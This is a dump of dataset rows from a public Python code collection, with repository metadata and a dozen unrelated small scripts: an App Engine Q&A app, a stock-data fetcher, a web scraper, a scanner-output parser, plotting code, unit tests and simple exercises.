Reset23/the-stack-v2-python · Datasets at Hugging Face

22fab3bbf030b5a3ee3da3004cce910e674b303c

28ea6fff3662fbc52fe349ca8d647b5b5fe268a5

/src/helloworld.py

7961f6eb5b2d904d09496fd4465b0879741044f8

[]

no_license

shivarajp/PopTheQuery

bbc13363005853d36d41701aeaf1b716d4e22776

9c1caa9696488a64dce9aa5a48b786c80773ead9

refs/heads/master

2021-01-19T05:47:06.126672

2014-09-27T14:12:25

null

0

null

UTF-8

Python

false

3,627

py

import wsgiref.handlers from google.appengine.api import users from google.appengine.ext import webapp from google.appengine.ext import db from google.appengine.ext.webapp.util import run_wsgi_app from google.appengine.ext.webapp import template global title class Register(db.Model): section=db.StringProperty(required="true") qtn=db.StringProperty(required="true") class visitors(db.Model): Name=db.StringProperty(required="true") Email=db.StringProperty(required="true") class comments(db.Model): title=db.StringProperty(required="true") comment=db.StringProperty(required="true") class MainPage(webapp.RequestHandler): def get(self): user = users.get_current_user() if user: greeting = ('Welcome, %s! (<a href="%s">sign out</a>)' % (user.nickname(), users.create_logout_url('/'))) else: greeting = ('<a href="%s">SIGN IN WITH GOOGLE ACCOUNT :)</a>.' % users.create_login_url('/')) self.response.out.write('<html><body>%s</body></html>' % greeting) class Homepage(webapp.RequestHandler): def get(self): self.response.out.write(template.render('index.html',{})) class register(webapp.RequestHandler): def get(self): self.response.out.write(template.render('raisequestion.html',{})) def post(self): shoutt= Register(section=self.request.get('txt1'),qtn=self.request.get('qtn')) shoutt.put() self.response.out.write(template.render('raisequestion.html',{})) class popthequery(webapp.RequestHandler): def get(self): shouts= db.GqlQuery('select * from Register') values={'shouts':shouts} self.response.out.write(template.render('popthequery.html',values)) def post(self): global title title=self.request.get('quest') self.redirect("/reply") class raisequestion(webapp.RequestHandler): def get(self): self.response.out.write(template.render('raisequestion.html',{})) def post(self): self.response.out.write(template.render('raisequestion.html',{})) class display(webapp.RequestHandler): def get(self): self.response.out.write(template.render('display.html',{})) class aboutus(webapp.RequestHandler): def get(self): self.response.out.write(template.render('aboutus.html',{})) class contactus(webapp.RequestHandler): def get(self): self.response.out.write(template.render('contactus.html',{})) class reply(webapp.RequestHandler): def get(self): shouts= db.GqlQuery("select * from comments where title = '%s'" % title) sh1=db.GqlQuery("select * from Register where section = '%s'" % title) values={'shouts':shouts,'sh1':sh1} self.response.out.write(template.render('reply.html',values)) def post(self): shoutt= comments(title=self.request.get('ques'),comment=self.request.get('qtn')) shoutt.put() self.response.out.write(template.render('index.html',{})) application = webapp.WSGIApplication([('/', Homepage),('/MainPage', MainPage),('/register', register),('/popthequery',popthequery),('/reply', reply),('/aboutus', aboutus),('/contactus', contactus)], debug=True) def main(): run_wsgi_app(application) if __name__ == "__main__": main()

[ "shivrajp130@gmail.com" ]

shivrajp130@gmail.com

20b411857018d423476fddd690fa0329d50115f5

e851ab438384ca775cff31633f2974abf98f581b

/app/robo_advisor.py

1a2a868218094423af3f41266bc36b675f3a7b38

[]

no_license

melissawelty/robo-advisor

7c7c8282c912ac174cda48c0c3b1ffce04890edb

febc41ce0c4695def1712adc3929ae0639357cec

refs/heads/master

2022-11-06T21:41:03.952316

2020-06-25T21:09:12

270,390,612

1

0

null

UTF-8

Python

false

3,601

py

# app/robo_advisor.py import csv import json import os from dotenv import load_dotenv import requests from datetime import datetime import matplotlib.dates as mdates import matplotlib.pyplot as plt from matplotlib.dates import DateFormatter load_dotenv() def to_usd(my_price): # return "${0:,.2f}".format(my_price) return f"${my_price:,.2f}" # INPUTS api_key = os.environ.get("ALPHAVANTAGE_API_KEY") symbol = input("Please enter a stock symbol and press enter:") request_url = f"https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={symbol}&apikey={api_key}" response = requests.get(request_url) if 'Error' in response.text: print("Invalid Symbol. Please enter valid stock symbol.") exit() parsed_response = json.loads(response.text) last_refreshed = parsed_response["Meta Data"]["3. Last Refreshed"] tsd = parsed_response["Time Series (Daily)"] dates = list(tsd.keys()) #sort to ensure latest day is first, assuming latest day is first latest_day = dates[0] latest_close = tsd[latest_day]["4. close"] #max of all high prices high_prices = [] low_prices = [] for date in dates: high_price = tsd[date]["2. high"] low_price = tsd[date]["3. low"] high_prices.append(float(high_price)) low_prices.append(float(low_price)) recent_high = max(high_prices) recent_low = min(low_prices) # OUTPUTS csv_filepath = os.path.join(os.path.dirname(__file__), "..", "data", "prices.csv") csv_headers = ["timestamp", "open", "high", "low", "close", "volume"] with open(csv_filepath, "w", newline="") as csv_file: writer = csv.DictWriter(csv_file, fieldnames=csv_headers) writer.writeheader() for date in dates: daily_prices = tsd[date] writer.writerow({ "timestamp": date, "open": daily_prices["1. open"], "high": daily_prices["2. high"], "low": daily_prices["3. low"], "close": daily_prices["4. close"], "volume": daily_prices["5. volume"] }) print("-------------------------") print(f"SELECTED SYMBOL: {symbol}") print("-------------------------") print("REQUESTING STOCK MARKET DATA...") now = datetime.now() date_time = now.strftime("%D, %r") print("REQUEST AT:" + date_time) print("-------------------------") print(f"LATEST DAY: {last_refreshed}") print(f"LATEST CLOSE: {to_usd(float(latest_close))}") print(f"RECENT HIGH: {to_usd(float(recent_high))}") print(f"RECENT LOW: {to_usd(float(recent_low))}") print("-------------------------") if float(latest_close) > (float(recent_high) * .75): print("RECOMMENDATION: DON'T BUY! The stock price is too high and not a good investment.") elif float(latest_close) < (float(recent_low) * 1.15): print("RECOMMENDATION: BUY AND HOLD! The price is low and could generate high returns when it increases!") else: print("RECOMMENDATION: DON'T BUY! Keep watching, this could be a potential buy soon..") print("-------------------------") print(f"WRITING DATA TO CSV: {csv_filepath}...") print("-------------------------") print("HAPPY INVESTING!") print("-------------------------") x = [] y = [] with open(csv_filepath, 'r') as csvfile: rows=csv.reader(csvfile, delimiter=",") next(rows) for row in rows: x.append(row[0]) y.append(float(row[4])) plt.figure(figsize = (15,6)) plt.plot(x,y,marker='o') plt.title('Data from Prices') plt.xlabel('Date') plt.xticks(rotation=45) plt.ylabel('Price in USD') ax = plt.gca() # date_form = DateFormatter("%m-%d") # ax.xaxis.set_major_formatter(date_form) ax.invert_xaxis() plt.show()

[ "65548626+melissawelty@users.noreply.github.com" ]

65548626+melissawelty@users.noreply.github.com

a45c45ce54e0b683e4ef570b1e30e63d1106162e

94c6c148450cdfc85ff3957c9fc9af6d960ed038

/cron_jobs/archery_org_hk_spider.py

61d8922e04fe5fbdc34b71b196cccf88615d08ac

[]

no_license

samwalker505/archery_news

d4fba46de6da1e43672770beaf7530a021d34d27

2caa29ad9bc2119913c2e85093593e62ce62b2ae

refs/heads/master

2021-01-11T18:36:03.311848

2017-01-30T14:05:14

79,579,959

0

null

UTF-8

Python

false

3,446

py

#!/usr/bin/python # -*- coding: utf-8 -*- import re import md5 from google.appengine.api import urlfetch from google.appengine.ext import ndb import webapp2 import logging from lxml import etree from handlers import BaseHandler, Output from models.post import ArcheryOrgHkPost from external_api.facebook import Facebook as FacebookApi class ArcheryOrgHkSpiderHandler(BaseHandler): def create_post(self, post, client): post_content = [] title = post.title or '' content = post.content.replace('\n', '%0A') or '' tag_arr = [u'%23{}'.format(tag) for tag in post.tags] tags = u'%20'.join(tag_arr) if title: post_content.append(title) if content: post_content.append(content) if tags: post_content.append(tags) post_fb_content = u'%0A'.join(post_content) logging.debug('entered') logging.debug(post_fb_content) link = '{}/archery_org_hk?post_id={}'.format(self.request.host_url, post.key.id()) result = client.create_post(post_fb_content, link) @Output.json def get(self, *args, **kwargs): pageNum = 0 url_format = 'https://www.archery.org.hk/frontpage?page={}' url = url_format.format(pageNum) results = [] while url: get_result = urlfetch.fetch(url) page = etree.HTML(get_result.content) for row in page.xpath('//div[contains(@class, "views-row")]'): title = row.xpath('descendant::h2/a/text()')[0] url = row.xpath('descendant::h2/a/@href')[0] tags = row.xpath('descendant::div[@class="terms"]//text()') tags = [tag for tag in tags if tag != '\n'] contentRaw = row.xpath('descendant::div[contains(@class, "content")]//text()') content = u''.join(contentRaw) if contentRaw else u'' content = re.sub(r' +', u' ', content) content = re.sub(r'(\n ?)+', u'\n', content) content = content.strip() content = content.encode('utf-8') result = { 'title': title, 'url': url, 'tags': tags, 'content': content, 'content_hash': md5.new(content).hexdigest(), 'url_hash':md5.new(url).hexdigest(), } results.append(result) if page.xpath('//li[contains(@class, "pager-last")]'): pageNum += 1 url = url_format.format(pageNum) else: url = None logging.debug('done fetching') result_ids = ['{}:{}'.format(r['url_hash'], r['content_hash']) for r in results] keys = [ndb.Key(ArcheryOrgHkPost, str(rid)) for rid in result_ids] created_posts = ndb.get_multi(keys) to_create = [r for r, p in zip(results, created_posts) if not p] if to_create: created_post_keys = ArcheryOrgHkPost.create_from_spider_batch(to_create) created_posts = ndb.get(created_post_keys) client = FacebookApi() for post in created_posts: self.create_post(post, client) else: logging.debug('no to create') return {} app = webapp2.WSGIApplication([ (r'/api/v1/cron_jobs/archery_org_hk_spider', ArcheryOrgHkSpiderHandler), ])

[ "samwalker505@gmail.com" ]

samwalker505@gmail.com

510df31dcea0e95031d017d93c8fd93e7231355f

af3904eecec7e41fcb530213b6e6c9f8d4c12c08

/flask010/bin/flask

a42ec0ab16bb3b87ff2b9c59f25ce4ffdbaecfd8

[]

no_license

Besom01/homeworks

076232963e8c05e2eabc6183ec13061465afb8be

77c739b4b30819d9a369a24edc5b67de5920ad50

refs/heads/master

2021-06-19T23:23:41.914326

2019-08-07T11:03:50

196,199,449

0

null

2021-03-20T05:14:30

2019-07-10T12:15:48

Python

UTF-8

Python

false

247

#!/home/danger/Desktop/pyprojects/flask010/bin/python3 # -*- coding: utf-8 -*- import re import sys from flask.cli import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(main())

[ "ganjubasman007@gmail.com" ]

ganjubasman007@gmail.com

317cc5c1fca1faac48fbd217fee8bfa5624b2b88

29310445b330844d734f38147d1e2b91d2610bc9

/OOP_Pre/codeup/1031.py

8d4f40ce5b0d352da17b5431f7a64c6bf722e431

[]

no_license

itsss/vacation_2018-1

1bbfd67a169db3d9f9b6aefe604d9131dd8fdeb3

500a37a90617820628c44d0c5fbe0c5c200ac0d0

refs/heads/master

2020-03-24T00:14:24.123319

2018-08-14T04:35:40

142,281,181

0

null

UTF-8

Python

false

211

py

#a = int(input()) #print(int(oct(a)[2:].zfill(2))) #a = int(input()) #print(hex(a)[2:]) #a = int(input()) #print("%X" % (a)) #a = input() #print(int(a, 8)) a = input() b = int(a, 16) print("{0:o}".format(b))

[ "itschool@itsc.kr" ]

itschool@itsc.kr

af8be67c9523b7c72402ebfb98233114ede9d5e6

6e155ed62ef6d24cb1219d086a7d695abc283bc0

/plugins/wascan/parse_wascan.py

78f2c502a2d437d6d71f160b1ab22faa5b7e8981

[]

no_license

linpengstc/pentest

9c928ab2d62a406ca79db80818d8f668dcdf751c

f4e94141f740aedc6417f52488a0f1b2f4864174

refs/heads/master

2020-03-10T05:54:29.668808

2018-04-13T03:42:17

129,227,530

1

0

null

UTF-8

Python

false

1,004

py

import pprint import sqlite3 def parse_result(): results = [] with open("out/wascan/wascan.result") as f: r = {} for l in f: l = l.strip() if l.startswith("[+] URL:"): if r != {}: results.append(r) r = {} r['url'] = l.replace("[+] URL:", "").strip() r['info'] = [] else: r['info'].append(l) # results.append(r) pprint.pprint(results) return results def save(datas): conn = sqlite3.connect("report/data.db") cur = conn.cursor() cur.execute('DROP TABLE IF EXISTS webinfo') cur.execute("create table webinfo (url varchar(100), info varchar(10000))") for d in datas: cur.execute("insert into webinfo(url, info) values(?,?)", (d['url'], "\n".join(d['info']))) conn.commit() conn.close() if __name__ == "__main__": results = parse_result() save(results)

[ "linpeng@weidian.com" ]

linpeng@weidian.com

a1d17058046e65d78f34d700c70b3d7e984347cf

25e0d42a524ac20fbda7355ac4825f3510eb2f0c

/all/130/final_routes/special/PlotSiTensor

0c4e200c4e9504a7d721e48ffeca50f1a6f54851

[]

no_license

lucydot/data

d3f1fa7645f3eb32b2cddbdf78c382a964533f06

08bd49bbf768cf867dce0bf8393c25b9583b9723

refs/heads/master

2021-01-10T22:53:59.672517

2016-10-11T09:44:41

70,342,058

0

null

UTF-8

Python

false

7,088

#!/usr/bin/env python # region: Imports import csv; import math; import os; import numpy as np; import matplotlib as mpl; import matplotlib.pyplot as plt; import matplotlib.ticker as tck; from scipy.interpolate import splrep, splev #EndRegion #Region:Parameters InputFiles = [ ("./", "OUTCAR"), ]; # This code allows multiple files to be read in. # Each file read in will have a different coloour band structure. OutputFileName = "Si_Tensor_LDA_0.005_130_special.png"; BandPaths = [ [ ## FCC cubic lattice # ((0.0, 0.0, 0.0), r"$\Gamma$"), # ((0.5, 0.0, 0.5), "X"), # ((0.5, 0.25, 0.75), "W"), # ((0.375, 0.375, 0.75), "K"), # ((0.0, 0.0, 0.0), r"$\Gamma$"), # ((0.5, 0.5, 0.5), "L"), # ((0.625, 0.25, 0.625), "U"), # ((0.5, 0.25, 0.75), "W"), # ((0.5, 0.5, 0.5), "L"), # ((0.625, 0.625, 0.75), "K") ## Tetragonal lattice # ((0.0, 0.0, 0.0), r"$\Gamma$"), # ((0.0, 0.5, 0.00), "X"), # ((0.5, 0.5, 0.0), "M"), # ((0.0, 0.0, 0.0), r"$\Gamma$"), # ((0.0,0.0,0.5), "Z"), # ((0.0,0.5,0.5), "R"), # ((0.5,0.5,0.5), "A"), # ((0.0,0.0,0.5),"Z") ## Simple cubic ((0.484, 0.0, 0.484), "0.484,0,0.484"), ((0.484, 0.5, 0.484), "0.484,0.5,0.484") ], # [ # ((0.625, 0.250, 0.625), "U"), # ((0.500, 0.000, 0.500), "X") # ] ]; ReciprocalLatticeVectors = [ (1.1569113, 1.1569113, 1.1569113), (1.1569113, -1.1569113, -1.1569113), (-1.1569113, 1.1569113, -1.1569113), ]; UseInterpolation = False; #This uses a scipy routine to interpolate between k-points Colors = [(0, 0, 255), (128, 0, 255), (255, 0, 255), (255, 0, 128), (255, 0, 0), (255, 128, 0)] # If only one file being plotted, amend first entry to change colour of plot #EndRegion #Region: Functions def _ReadBandEnergies(filePath): bandEnergies = []; inputReader = open(filePath, 'rU'); inputReaderCSV = csv.reader(inputReader); next(inputReaderCSV); next(inputReaderCSV); for row in inputReaderCSV: bandEnergies.append([float(row[i]) for i in range(1, len(row), 2)]); inputReader.close(); return bandEnergies; def _ReadKPoints(filePath): kPointCoordinates = []; inputReader = open(filePath, 'rU'); inputReaderCSV = csv.reader(inputReader); next(inputReaderCSV); for row in inputReaderCSV: kPointCoordinates.append((float(row[1]), float(row[2]), float(row[3]))); inputReader.close(); return kPointCoordinates; #EndRegion #Region: Main #COMMENT: Unpack the reciprocal lattice vectors - used in the next two subsections. (r1X, r1Y, r1Z), (r2X, r2Y, r2Z), (r3X, r3Y, r3Z) = ReciprocalLatticeVectors; #COMMENT: Prepare the x-axis ticks positions and labels. specialPointDistances = [0.0]; specialPointLabels = []; for bandPath in BandPaths: for i in range(1, len(bandPath)): (kx1, ky1, kz1), label1 = bandPath[i - 1]; (kx2, ky2, kz2), label2 = bandPath[i]; kDistanceX = (kx2 * r1X + ky2 * r2X + kz2 * r3X) - (kx1 * r1X + ky1 * r2X + kz1 * r3X); kDistanceY = (kx2 * r1Y + ky2 * r2Y + kz2 * r3Y) - (kx1 * r1Y + ky1 * r2Y + kz1 * r3Y); kDistanceZ = (kx2 * r1Z + ky2 * r2Z + kz2 * r3Z) - (kx1 * r1Z + ky1 * r2Z + kz1 * r3Z); pathLength = math.sqrt(kDistanceX ** 2 + kDistanceY ** 2 + kDistanceZ ** 2); specialPointDistances.append(specialPointDistances[-1] + pathLength); if i == 1: if len(specialPointLabels) == 0: specialPointLabels.append(label1); specialPointLabels.append(label2); else: specialPointLabels[-1] = specialPointLabels[-1] + "|" + label1; specialPointLabels.append(label2); else: specialPointLabels.append(label2); #COMMENT: Prepare sets of data for plotting. plotSets = []; for i in range(0, len(InputFiles)): basePath, prefix = InputFiles[i]; kPoints = _ReadKPoints(os.path.join(basePath, "{0} - K-Points.csv".format(prefix))); bandEnergies = _ReadBandEnergies(os.path.join(basePath, "{0} - Band Energies.csv".format(prefix))); kPointDistances = [0.0]; for j in range(1, len(kPoints)): kx1, ky1, kz1 = kPoints[j - 1]; kx2, ky2, kz2 = kPoints[j]; kDistanceX = (kx2 * r1X + ky2 * r2X + kz2 * r3X) - (kx1 * r1X + ky1 * r2X + kz1 * r3X); kDistanceY = (kx2 * r1Y + ky2 * r2Y + kz2 * r3Y) - (kx1 * r1Y + ky1 * r2Y + kz1 * r3Y); kDistanceZ = (kx2 * r1Z + ky2 * r2Z + kz2 * r3Z) - (kx1 * r1Z + ky1 * r2Z + kz1 * r3Z); pathLength = math.sqrt(kDistanceX ** 2 + kDistanceY ** 2 + kDistanceZ ** 2); kPointDistances.append(kPointDistances[-1] + pathLength); interpolatedKPointDistances = None; interpolatedBandEnergies = None; if UseInterpolation: interpolatedKPointDistances = np.linspace(specialPointDistances[0], specialPointDistances[-1], len(kPointDistances) * 10); interpolatedBandEnergies = []; for band in bandEnergies: tck = splrep(kPointDistances, band); interpolatedBandEnergies.append(splev(interpolatedKPointDistances, tck)); plotSets.append((kPointDistances, bandEnergies, interpolatedKPointDistances, interpolatedBandEnergies)); #COMMENT: Plot and save the data. mpl.rc('font', **{ 'family' : 'serif', 'size' : 14, 'serif' : 'Arial' }); plt.figure(figsize = (12/ 2.54, 12 / 2.54)); #2.54 cm in an inch - matplotlib uses inches for i in range(0, len(plotSets)): kPointDistances, bandEnergies, interpolatedKPointDistances, interpolatedBandEnergies = plotSets[i]; r, g, b = Colors[i]; if interpolatedKPointDistances != None: for j in range(0, len(bandEnergies)): # plt.scatter(kPointDistances, bandEnergies[j], 3, facecolor = 'none', edgecolor = (r / 255.0, g / 255.0, b / 255.0), linewidth = 0.5); plt.plot(interpolatedKPointDistances, interpolatedBandEnergies[j], color = (r / 255.0, g / 255.0, b / 255.0), linewidth = 1.0); else: for band in bandEnergies: plt.plot(kPointDistances, band, color = (r / 255.0, g / 255.0, b / 255.0), linewidth = 1.0); #matplotlib likes rgb colors as a decimal plt.xlim((specialPointDistances[0], specialPointDistances[-1])); plt.ylim((-5, 5)); # change to plot over larger energy interval plt.xticks(specialPointDistances, specialPointLabels); plt.yticks([-5.0, -2.5, 0, 2.5, 5]); plt.xlabel("Wave vector k") # plt.ylabel ("Energy (eV)") # you can use latex (r"$\mathit{E - E_F}$ / eV") # plt.title ("CZTS hybrid", fontweight = 'bold') axes = plt.gca(); axes.get_xaxis().set_tick_params(**{ 'direction' : 'outward', 'top' : 'off'}); axes.get_yaxis().set_tick_params(**{ 'direction' : 'outward', 'right' : 'off'}); axes.get_xaxis().set_tick_params(width = 0.5); axes.get_yaxis().set_tick_params(width = 0.5); axes.get_xaxis().grid(color = (211 / 255.0, 211 / 255.0, 211 / 255.0), linestyle = '-', linewidth = 0.5); # axes.get_yaxis().set_major_formatter(tck.FuncFormatter(lambda value, pos : "{0:.1f}".format(value))); axes.set_axisbelow(True); for spine in axes.spines.values(): spine.set_linewidth(0.5); plt.tight_layout(); plt.savefig(OutputFileName, format = 'png', dpi = 300); plt.close(); #EndRegion

[ "l.whalley@bath.ac.uk" ]

l.whalley@bath.ac.uk

7cf14a1904b17c4284ccaf9831aad5334765dde3

07d70fa9dc518ef4c7f4d0065ab47b930ef64a05

/api_emulator/redfish/memory.py

9d49d3a3e1ceccddafc2d5296ec283fd9c5b1cfb

[ "BSD-3-Clause" ]

permissive

fetahi/Redfish-Interface-Emulator-1

ed5dd0c5a0d8ef820204497e4a99cc38694690e2

d89b9a313b6ea6acc85038123fcbe91cf6cf99a0

refs/heads/master

2021-07-13T02:33:47.331169

2017-10-11T15:04:33

103,956,434

0

null

2017-09-18T15:21:40

null

UTF-8

Python

false

2,081

py

# Copyright Notice: # Copyright 2016 Distributed Management Task Force, Inc. All rights reserved. # License: BSD 3-Clause License. For full text see link: https://github.com/DMTF/Redfish-Interface-Emulator/LICENSE.md # Redfish Memorys and Memory Resources. Based on version 1.0.0 from flask_restful import Resource import logging from .templates.memory import format_memory_template members = {} INTERNAL_ERROR = 500 class Memory(Resource): """ Memory.1.0.2.Memory """ def __init__(self, **kwargs): pass def get(self, ident1, ident2): resp = 404 if ident1 not in members: return 'not found',404 if ident2 not in members[ident1]: return 'not found',404 return members[ident1][ident2], 200 class MemoryCollection(Resource): """ Memory.1.0.2.MemoryCollection """ def __init__(self, rb, suffix): """ Memorys Constructor """ self.config = {u'@odata.context': '{rb}$metadata#MemoryCollection.MemoryCollection'.format(rb=rb), u'@odata.id': '{rb}{suffix}'.format(rb=rb, suffix=suffix), u'@odata.type': u'#MemoryCollection.MemoryCollection'} def get(self, ident): try: if ident not in members: return 404 procs = [] for p in members.get(ident, {}).values(): procs.append({'@odata.id': p['@odata.id']}) self.config['@odata.id']='{prefix}/{ident}/Memory'.format(prefix=self.config['@odata.id'],ident=ident) self.config['Members'] = procs self.config['Members@odata.count'] = len(procs) resp = self.config, 200 except Exception,e: logging.error(e) resp = 'internal error', INTERNAL_ERROR return resp def CreateMemory(**kwargs): suffix_id = kwargs['suffix_id'] memory_id = kwargs['memory_id'] if suffix_id not in members: members[suffix_id] = {} members[suffix_id][memory_id] = format_memory_template(**kwargs)

[ "fetahi.wuhib@ericsson.com" ]

fetahi.wuhib@ericsson.com

26f054cc7b5e9732066581e3f243a6f48aaa449f

9172ea51864ae8a44631430d5044b14adad94e56

/src/problem_001.py

1bfa1d86e5bb8c7b2277f887a625730f7e636d79

[]

no_license

ShZgZ/MyProjectEuler

6cb20e3a8ed8d842cad2b9664b96eeddde48acae

8853ab89591be1975e82e47a821a49d1ea469e53

refs/heads/master

2022-10-22T09:29:57.253819

2020-06-08T10:42:06

268,762,617

0

null

UTF-8

Python

false

1,186

py

"""Multiples of 3 and 5 If we list all the natural numbers below 10 that are multiples of 3 or 5, we get 3, 5, 6 and 9. The sum of these multiples is 23. Find the sum of all the multiples of 3 or 5 below 1000. 和訳:3と5の倍数 10未満の自然数で3と5の倍数は3,5,6,9となり、これらの倍数の和は23となる。 1000未満の3と5の倍数の和を求めよ。 """ import doctest def main(): """ 1000未満で3と5の倍数の和を求める。 """ below_num = 1000 n0 = 3 n1 = 5 result = get_multiples_sum(n0, n1, below_num=below_num) print(result) def get_multiples_sum(*numbers: int, below_num: int) -> int: """ below_num未満の自然数でnumbersに含まれる数の倍数の和を求める。 :param numbers: 倍数の判定対象となる数字 :param below_num: 最大数 :return: 倍数の和 >>> get_multiples_sum(3, 5, below_num=10) 23 """ count = 0 for i in range(1, below_num): for j in numbers: if i % j == 0: count += i break return count if __name__ == '__main__': doctest.testmod() main() # 233168

[ "s.shogo.z89@gmail.com" ]

s.shogo.z89@gmail.com

0323f4528a16c0cda897844c311d5d144cd8dbcb

0bf0ed0b69d2a3cbdb9dad664aea6b2c597b5af8

/Weather.py

93e10beda5d5945918bee5098e04c794ae0ca4a9

[]

no_license

Vivianwcao/Lab_1

557aa597bb569eca73338b409027f961ebb83254

5e9336ebf20544fe477e3aca463f9139a7747b98

refs/heads/master

2020-12-07T14:18:08.829958

2020-01-09T18:56:59

232,736,530

0

null

UTF-8

Python

false

148

py

celcius = 10 fahrenheit = 9/5 * celcius + 32 print("Temperature:" + str (celcius) + "degrees") print("Temperature:" + str (fahrenheit) + "degrees")

[ "vivian.w.cao@gmail.com" ]

vivian.w.cao@gmail.com

438c876dfe378cf28adc2d88b1096189e1a9c26b

52a1ccbc8147cce7ddaf808e1fc260b76dc4a3e0

/test/test_cdbdict.py

3ac85b0c78c674c8a3628fb9aa8dc66c5edd8f77

[]

no_license

martinbudden/mediawiki2cdb

5073ddfe442ae55720737f16b63102c7dc40945e

828dd286850545ca8e0453a88f42b413b16b9868

refs/heads/master

2020-12-24T17:44:54.145353

2010-04-28T13:14:20

null

0

null

UTF-8

Python

false

4,906

py

""" CDB dictionary test module. """ import unittest import os from mediawikicdb.cdbdict import CdbDict, CdbDictIntKey, CdbDictIntValue #from mediawikicdb import CdbDict, CdbDictIntKey, CdbDictIntValue class CDBDictTestCase(unittest.TestCase): """Basic test for cdbdict.""" def setUp(self): """Create directory for testing.""" self.dir = "testcdb/" if not os.path.exists(self.dir): os.makedirs(self.dir) def tearDown(self): """No teardown required.""" pass def test_pageCdbDict(self): """Test basic CdbDict functionality""" filename = "testcdb/temp.cdb" if os.path.exists(filename): os.remove(filename) d = CdbDict(filename) # test __delitem__ try: del d[0] self.assertTrue(False) except TypeError: pass # test __setitem__ try: d[0] = 0 self.assertTrue(False) except TypeError: pass # test iter i = d.__iter__() self.assertEqual(i, i.__iter__()) # test _pack_value and _unpack_value expected = 'abcde' result = d._unpack_value(d._pack_value(expected)) self.assertEqual(result, expected) # test _pack_key and _unpack_key expected = 'abcde' result = d._unpack_key(d._pack_key(expected)) self.assertEqual(result, expected) testPages = {'k1': 'v1', 'k2': 'v2', 'k3': 'v3'} d.update(testPages) self.assertEqual(len(d), len(testPages)) for i in testPages: expected = testPages[i] result = d[i] print "i, e, r", i, expected, result self.assertEqual(result, expected) os.remove(filename) def test_intKey(self): """Test dictionary with integer key""" testPages = { \ 290: 'A', 3783: 'B', 12266: 'Genetics', 3954: 'Biochemistry', 130495: 'EBay', 6235: 'Cell nucleus', 5507057: 'Deoxyribonuclease I', 7955: 'DNA'} pageIntFromName = CdbDictIntKey(self.dir + "pageIntKey.cdb") # test _pack_value and _unpack_value expected = 'abcde' result = pageIntFromName._unpack_value(pageIntFromName._pack_value(expected)) self.assertEqual(result, expected) # test _pack_key and _unpack_key expected = 1234 result = pageIntFromName._unpack_key(pageIntFromName._pack_key(expected)) self.assertEqual(result, expected) pageIntFromName.clear() pageIntFromName.update(testPages) self.assertEqual(len(pageIntFromName), len(testPages)) for i in testPages: expected = testPages[i] result = pageIntFromName[i] self.assertEqual(result, expected) pageIntFromName.clear() self.assertEqual(len(pageIntFromName), 0) def test_intValue(self): """Test dictionary with integer values""" testPages = { \ 'A': 290, 'B': 3783, 'Genetics': 12266, 'Biochemistry': 3954, 'EBay': 130495, 'Cell nucleus': 6235, 'Deoxyribonuclease I': 5507057, 'DNA': 7955} #writer = mediawikicdbwriter.MediaWikiCdbWriter() #writer.writeCdbIdFromName(self.dir+"pageIdFromName.cdb", testPages) pageIntValue = CdbDictIntValue(self.dir + "pageIntValue.cdb") # test _pack_value and _unpack_value expected = 1234 result = pageIntValue._unpack_value(pageIntValue._pack_value(expected)) self.assertEqual(result, expected) # test _pack_key and _unpack_key expected = 'abcde' result = pageIntValue._unpack_key(pageIntValue._pack_key(expected)) self.assertEqual(result, expected) pageIntValue.clear() pageIntValue.update(testPages) self.assertEqual(len(pageIntValue), len(testPages)) for i in testPages: expected = testPages[i] result = pageIntValue[i] self.assertEqual(result, expected) return pageIntValue['D'] = 1234 testPages['D'] = 1234 self.assertEqual(len(pageIntValue), len(testPages)) for i in testPages: expected = testPages[i] result = pageIntValue[i] self.assertEqual(result, expected) testPages['E'] = 1235 testPages['F'] = 1236 pageIntValue.update({'E': 1235, 'F': 1236}) self.assertEqual(len(pageIntValue), len(testPages)) for i in testPages: print "bb", i expected = testPages[i]['id'] result = pageIntValue[i] self.assertEqual(result, expected) self.assertTrue(False) if __name__ == "__main__": unittest.main()

[ "martinbudden@Martin-Buddens-MacBook-Pro-128.local" ]

martinbudden@Martin-Buddens-MacBook-Pro-128.local

a5f438eda07a505719c1d571ca497d0f6d686280

fa12db8422b4a39c8fa3044936d75eba2637c5c0

/db.py

1162edbd0b51a04fcc5589bb1ddfc2cc9881f2bf

[]

no_license

ericmeme321/stock

ac648186ffdf13a1e644c86e58735af6a6c7f585

057f45f870ee1e5013c9d86aeb4933f09810874b

refs/heads/main

2023-07-29T00:08:39.451252

2021-09-16T14:14:24

403,338,993

0

null

UTF-8

Python

false

2,018

py

import mysql.connector from mysql.connector import Error def DBinsert(stock_data, stock_name): try: # 連接 MySQL/MariaDB 資料庫 connection = mysql.connector.connect( host='localhost', # 主機名稱 database='stock', # 資料庫名稱 user='root', # 帳號 password='') # 密碼 if connection.is_connected(): # 顯示資料庫版本 # db_Info = connection.get_server_info() # print("資料庫版本：", db_Info) # 顯示目前使用的資料庫 # cursor = connection.cursor() # cursor.execute("SELECT DATABASE();") # record = cursor.fetchone() # print("目前使用的資料庫：", record) stock_name = "tw_" + stock_name cursor = connection.cursor() if not stock_name in cursor: cursor.execute("CREATE TABLE " + stock_name + " (uid INT(5) AUTO_INCREMENT PRIMARY KEY\ ,date VARCHAR(10), open FLOAT(10), close FLOAT(10), high FLOAT(10), low FLOAT(10), vol INT(10)\ , rate VARCHAR(10));") sql = "INSERT INTO "+ stock_name +" (date, open, close, high, low, vol, rate) VALUES (%s, %s, %s, %s, %s, %s, %s);" for i in range(len(stock_data)): row = stock_data.loc[i] new_data = (str(row['日期']), str(row['開盤價']), str(row['收盤價']), str(row['最高價']), str(row['最低價']), str(row['成交量']), str(row['漲跌幅'])) cursor.execute(sql, new_data) # 確認資料有存入資料庫 connection.commit() print("資料插入成功") except Error as e: print("資料庫連接失敗：", e) finally: if (connection.is_connected()): cursor.close() connection.close() print("資料庫連線已關閉") return

[ "ericmeme321@gmail.com" ]

ericmeme321@gmail.com

cb916fc056750611a6e62f2972d1bc514726e31f

9caf26afb3db3fab6e60a27db57e30e4b1decb58

/code/testmodel/多线程切换模型/thread-switch-model.py

6edcbaf3b8169b8533f759627d1a9734bf3486e1

[]

no_license

xjy0508xjy/Maixpy

c584629805438fcf9906fdccfb568d3d4d072b92

c3efe97e9009d9f5d4f53ece1533c899d1a0e98a

refs/heads/master

2023-06-30T19:43:52.688414

2021-07-26T03:07:02

null

0

null

UTF-8

Python

false

2,556

py

